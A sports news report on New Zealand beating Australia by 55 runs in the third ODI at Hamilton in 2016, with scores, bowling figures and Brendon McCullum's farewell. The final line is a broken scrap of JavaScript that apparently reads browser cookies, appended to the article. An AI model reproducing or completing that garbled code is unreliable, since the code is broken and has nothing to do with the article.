New Zealand players celebrate winning the series after the third one-day international cricket match between New Zealand and Australia at Seddon Park in Hamilton on February 8, 2016.   AFP PHOTO / MICHAEL BRADLEY / AFP / MICHAEL BRADLEY (Photo credit should read MICHAEL BRADLEY/AFP/Getty Images)

New Zealand has beaten Australia by 55 runs in the third and final ODI in Hamilton.

Australia won the toss and elected to field, bowling New Zealand all out for 246 after 45 overs.

The Black Caps looked on track for a score well over 300, on what looked to be a good pitch for batting, before late wickets put Australia in a great position to clinch the series when they begin their run chase.

Openers Martin Guptill and Brendon McCullum got the home side off to a flyer, scoring at over eight runs per over in the first 10 overs.

McCullum, playing his final ODI, was dismissed for 47 from 27 balls, hitting six fours and three sixes in his brief, but typically explosive stay at the crease.

Guptill went on to score a half-century, as did Grant Elliot, as the Kiwis reached 4-221 from 40 overs.

However, the home side then suffered a disastrous collapse, losing their last five wickets for just nine runs, to be bowled all out for 246.

Mitch Marsh finished with figures of 3-34, while Hazlewood, Hastings and Boland all took two wickets and Zampa took one.

In reply, Australia looked to be in a good position, at 1-75 off 11 overs.

However, Khawaja fell for 44 and then Smith and Maxwell fell within three balls to leave the Aussies in trouble at 4-94.

Maxwell was dismissed for his second duck in three matches. Australia struggled to recover from there, losing wickets at regular intervals throughout the innings.

Bailey (33), Smith (21), Khawaja (44), Mitch Marsh (41) and Matthew Wade (17) all made starts but failed to go on, before the tail was removed with relative ease, as Australia was bowled all out for 191.

The win gives the Black Caps a 2-1 series victory and and sends skipper Brendon McCullum out a winner in his final ODI.

It is Steve Smith's first ever series loss as captain. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}